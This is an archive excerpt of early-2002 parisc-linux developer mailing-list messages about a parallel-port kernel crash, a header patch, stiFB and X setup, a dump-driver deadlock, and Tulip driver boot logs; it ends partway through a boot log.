	Tue, 12 Feb 2002 15:35:33 -0600
In-Reply-To: <20020212223104.A14146@solo.franken.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14034

On Tue, 12 Feb 2002, Thomas Bogendoerfer wrote:

> On Tue, Feb 12, 2002 at 10:55:41AM -0600, Greg Ingram wrote:
> > On Sat, 9 Feb 2002, Grant Grundler wrote:
> > > Greg Ingram wrote:
> > > > 
> > > > Writing data from my C100 to /dev/lp0 makes the kernel go kablooie.  It's
> > > > the kernel from the recent (0.9.3?) iso.  Known problem?  Any more info I
> > > > could supply that would help?  I've appended everything on the console
> > > > from the crash, through the power cycle, to mounting disks again.  
> > > 
> > > Can you grab a newer kernel from ftp://ftp.parisc-linux.org/kernels/32/
> > > and try that?
> > > 
> > > 0.9.3 is just not worth chasing at this point.
> > 
> > Yikes!
> > 
> > apollos:~# uname -a
> > Linux apollos 2.4.17-pa23 #1 Sun Feb 10 09:24:11 MST 2002 parisc unknown
> > apollos:~# echo >/dev/lp0
> > lp0: compatibility mode
> 
> I've reproduced it on my B132. You could avoid the crash by disabling
> CONFIG_PARPORT_PC. No idea how good parport works, but my B132 doesn't crash
> anymore.

Hmm...  Can you print?

- Greg





From - Thu Nov 08 21:21:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] include/asm-parisc/pgalloc.h
Date: Tue, 12 Feb 2002 21:48:17 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20020213044817.44B91482E@dsl2.external.hp.com>
References: <20020212202801.GX8669@gwyn.tux.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621062 3002 80.91.229.3 (22 Nov 2014 01:51:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Timothy Ball <timball@tux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 12 21:48:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 44B91482E; Tue, 12 Feb 2002 21:48:17 -0700 (MST)
In-Reply-To: Message from Timothy Ball <timball@tux.org> 
   of "Tue, 12 Feb 2002 15:28:01 EST." <20020212202801.GX8669@gwyn.tux.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14035

Timothy Ball wrote:
> do { ... } while(0); do not need the trailing semicolon and may lead to
> strange side effects. the following patch fixes it.

Tim,
thanks for the patch...but that code doesn't exist in the parisc-linux
source tree. We've got:
  ...
  128 /* TLB flushing routines.... */
  129 
  130 extern void flush_tlb_all(void);
  ...

Matthew Wilcox is looking at syncing our tree with 2.4 at least.
Offhand, don't know if anyone is looking at updating 2.5 for parisc.

thanks,
grant



From - Thu Nov 08 21:21:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James S" <smith-james@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Setting up X
Date: Wed, 13 Feb 2002 03:05:32 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <000a01c1b465$358cc8c0$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621062 3005 80.91.229.3 (22 Nov 2014 01:51:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:02 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 13 01:05:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from femail9.sdc1.sfba.home.com (femail9.sdc1.sfba.home.com [24.0.95.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 684B54833
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Feb 2002 01:05:39 -0700 (MST)
Original-Received: from kenny ([68.58.113.28]) by femail9.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP
          id <20020213080532.ICIM97.femail9.sdc1.sfba.home.com@kenny>
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 13 Feb 2002 00:05:32 -0800
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14036

This might be a silly question, but here goes.......

where do i get the stiFB driver ?

i've got a 712/60

help !


James S






From - Thu Nov 08 21:21:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James S" <smith-james@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Setting up X
Date: Wed, 13 Feb 2002 03:10:11 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <002401c1b465$dc2fc7e0$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621063 3006 80.91.229.3 (22 Nov 2014 01:51:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:03 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 13 01:10:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from femail9.sdc1.sfba.home.com (femail9.sdc1.sfba.home.com [24.0.95.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A6D84836
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Feb 2002 01:10:13 -0700 (MST)
Original-Received: from kenny ([68.58.113.28]) by femail9.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP
          id <20020213081012.IFCU97.femail9.sdc1.sfba.home.com@kenny>
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 13 Feb 2002 00:10:12 -0800
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14037

This might be a silly question, but here goes.......

where do i get the stiFB driver ?

i've got a 712/60

help !


James S






From - Thu Nov 08 21:21:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James S" <smith-james@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Setting up X Server
Date: Wed, 13 Feb 2002 03:37:19 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <004701c1b469$a6a547e0$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621063 3011 80.91.229.3 (22 Nov 2014 01:51:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:03 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 13 01:37:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from femail9.sdc1.sfba.home.com (femail9.sdc1.sfba.home.com [24.0.95.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 454D24839
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Feb 2002 01:37:21 -0700 (MST)
Original-Received: from kenny ([68.58.113.28]) by femail9.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP
          id <20020213083720.IRPX97.femail9.sdc1.sfba.home.com@kenny>
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 13 Feb 2002 00:37:20 -0800
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14038

scratch that last message - i hadnt installed all the .deb files needed

Thanks


James S





From - Thu Nov 08 21:21:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Setting up X
Date: Wed, 13 Feb 2002 09:45:35 +0100
Organization: SAP LinuxLab
Lines: 28
Approved: news@gmane.org
Message-ID: <E16av3A-0002Tb-00@linuxlab.wdf.sap-ag.de>
References: <002401c1b465$dc2fc7e0$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621063 3015 80.91.229.3 (22 Nov 2014 01:51:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:03 +0000 (UTC)
To: "James S" <smith-james@home.com>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 13 01:46:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B2D44840
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Feb 2002 01:46:03 -0700 (MST)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id JAA08819;
  Wed, 13 Feb 2002 09:50:04 +0100 (MEZ)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <002401c1b465$dc2fc7e0$02c1a8c0@james.co.uk>
X-Message-Flag: Use Linux and you'll never get a virus again !
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14039

On Wednesday 13 February 2002 09:10, James S wrote:
> This might be a silly question, but here goes.......
>
> where do i get the stiFB driver ?
>
> i've got a 712/60
>
> help !
>
>
> James S

Hi James,

the stiFB driver should already be compiled into the kernel. 
If you see the Tux Penguin at bootup the stiFB driver is
active - if  you don't see it install a newer kernel.

Then apt-get the necessary XFree86 packages and
read the FAQ at http://www.parisc-linux.org/faq/index.html
FAQ entries #12 and #13 should be most interesting for you.
The Link in FAQ entry #12 will also point you to a XF86Config-4 
file which you might use to start with.

Best regards,
Helge



From - Thu Nov 08 21:21:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Pb with dump driver.
Date: Wed, 13 Feb 2002 18:34:59 +0100
Organization: H.P
Lines: 47
Approved: news@gmane.org
Message-ID: <3C6AA3C3.D21C4164@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------FBDB2C3D815BAC88491A4CBD"
X-Trace: ger.gmane.org 1416621064 3017 80.91.229.3 (22 Nov 2014 01:51:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:04 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 13 10:37:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id C16E9483A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Feb 2002 10:37:46 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id BC1F73DD
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Feb 2002 18:37:44 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id SAA17271 for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Feb 2002 18:37:06 +0100 (MET)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14040

This is a multi-part message in MIME format.
--------------FBDB2C3D815BAC88491A4CBD
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
I have a problem with the dump driver. I was only testing it with
a "breakpoint" and "instruction fault", now i try the real life,
a good old "data page fault", but the problem is, it start the dump, 
but at the first try to write on the dump device if "sleep"
forever in "brw_kiovec". I'm pretty sure that it comes from
a spinlock deadlock. So I'm looking for someone who is able
to explain the "data page fault" function. 
For me it is the signal 15 in function handle_interruption() 
of traps.c. If it is the space 0 (kernel space), it call 
parisc_terminate(), that call dump() (my funtion). But in dump 
I use a buffer, and I use this buffer with "brw_kiovec". So I 
think that "brw_kiovec" do a page_fault somewhere, but because 
the previous page_fault fail, there is still a spinlock somewhere.
Can someone help on this issue ?

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------FBDB2C3D815BAC88491A4CBD
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------FBDB2C3D815BAC88491A4CBD--




From - Thu Nov 08 21:21:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Pb with dump driver.
Date: Wed, 13 Feb 2002 18:43:26 +0100
Organization: H.P
Lines: 35
Approved: news@gmane.org
Message-ID: <3C6AA5BE.2E57EA10@admin.france.hp.com>
References: <3C6AA3C3.D21C4164@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------24800884FAEDA60F2DE142F4"
X-Trace: ger.gmane.org 1416621064 3021 80.91.229.3 (22 Nov 2014 01:51:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:04 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 13 10:46:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66725483B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Feb 2002 10:46:16 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 272753A2
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Feb 2002 18:46:15 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id SAA19846 for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Feb 2002 18:45:36 +0100 (MET)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14041

This is a multi-part message in MIME format.
--------------24800884FAEDA60F2DE142F4
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Another thing that can produce this behavior is the interruption mask.
When calling the do_page_fault, what it the interruption mask ? I think it is 
high enought to mask SCSI interruption ? When is it reset back ?

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------24800884FAEDA60F2DE142F4
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------24800884FAEDA60F2DE142F4--




From - Thu Nov 08 21:21:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: kernel-2.4.17-pa22 boot problem B132L+ with serial
Date: Wed, 13 Feb 2002 19:18:37 +0100
Lines: 365
Approved: news@gmane.org
Message-ID: <OF06B7B721.64C3D9E9-ONC1256B5F.0063DC45@com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed ; Boundary="0__=C1256B5F0063DC458f9e8a93df938690918cC1256B5F0063DC45"
X-Trace: ger.gmane.org 1416621064 3023 80.91.229.3 (22 Nov 2014 01:51:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 13 11:13:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C130483D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Feb 2002 11:13:07 -0700 (MST)
Original-Received: from mastercard.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d590d520286@epirel991.europay.com>;
 Wed, 13 Feb 2002 19:12:47 +0100
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.8 |June 18, 2001) at
 02/13/2002 07:18:38 PM
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14042

--0__=C1256B5F0063DC458f9e8a93df938690918cC1256B5F0063DC45
Content-type: text/plain; charset=us-ascii

Hey Grant,

Sorry first for delay.

Sorry also if I desapoint you but "CONFIG_TULIP_MMIO=y" works for my b180
(afaik same HW than b132l+ but processor clock?) with last k-2.4.17-pa23:
...
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21143 Tulip rev 65 at 0xf0fff000, 00:10:83:65:09:4B, IRQ
96.
PPP generic driver version 2.4.1
PPP Deflate Compression module registered
